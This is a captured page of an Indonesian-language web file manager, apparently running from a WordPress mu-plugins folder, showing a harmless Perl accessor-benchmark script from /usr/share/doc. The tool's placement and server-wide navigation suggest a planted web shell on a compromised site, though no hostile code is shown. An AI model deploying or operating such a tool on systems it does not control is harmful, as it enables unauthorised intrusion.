📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
share
›
doc
›
perl-Class-Accessor
›
📁 examples
📍
Lokasi:
/usr/share/doc/perl-Class-Accessor/examples
💾
Free:
45.6 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: benchmark
#!/usr/bin/perl -w BEGIN { $ENV{MOO_XS_DISABLE} = "no cheating"; $ENV{MOUSE_PUREPERL} = "no cheating"; } package Bench::Base; sub new { my($class) = shift; bless { test => 23 }, $class; } package Bench::Direct; use base qw(Bench::Base); package Bench::Normal; use Class::Accessor "moose-like"; has test => (is => "rw"); package Bench::Fast; use Class::Accessor::Fast "moose-like"; has test => (is => "rw"); package Bench::Faster; use Class::Accessor::Faster "antlers"; has test => (is => "rw"); package Bench::Moose; use Moose; has test => (is => "rw"); package Bench::Mouse; use Mouse; has test => (is => "rw"); package Bench::Moo; use Moo; has test => (is => "rw"); package main; use strict; use Benchmark 'cmpthese'; use Test::More tests => 12; my $tmp; my $direct = Bench::Direct->new({ test => 23 }); my %accessor = ( Direct => sub { $tmp = $direct->{test}; } ); my %mutator = ( Direct => sub { $direct->{test} = 42; } ); for my $p (qw/Normal Fast Faster Moose Mouse Moo/) { my $o = "Bench::$p"->new({ test => 23 }); is $o->test, 23, "$p init"; $o->test(24); is $o->test, 24, "$p set"; $accessor{$p} = sub { $tmp = $o->test; }; $mutator{$p} = sub { $o->test(42); }; } print "accessors:\n"; cmpthese( -1, \%accessor ); print "\n"; print "mutators:\n"; cmpthese( -1, \%mutator );
💾 Simpan Perubahan
❌ Batal
📤 Upload
📁 Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
📎
benchmark
1.3 KB
2016-12-31 16:12
0644
✏️ Edit
⬇
✍️
🗑️
✍️ Rename:
Nama Baru:
Batal
💾 Simpan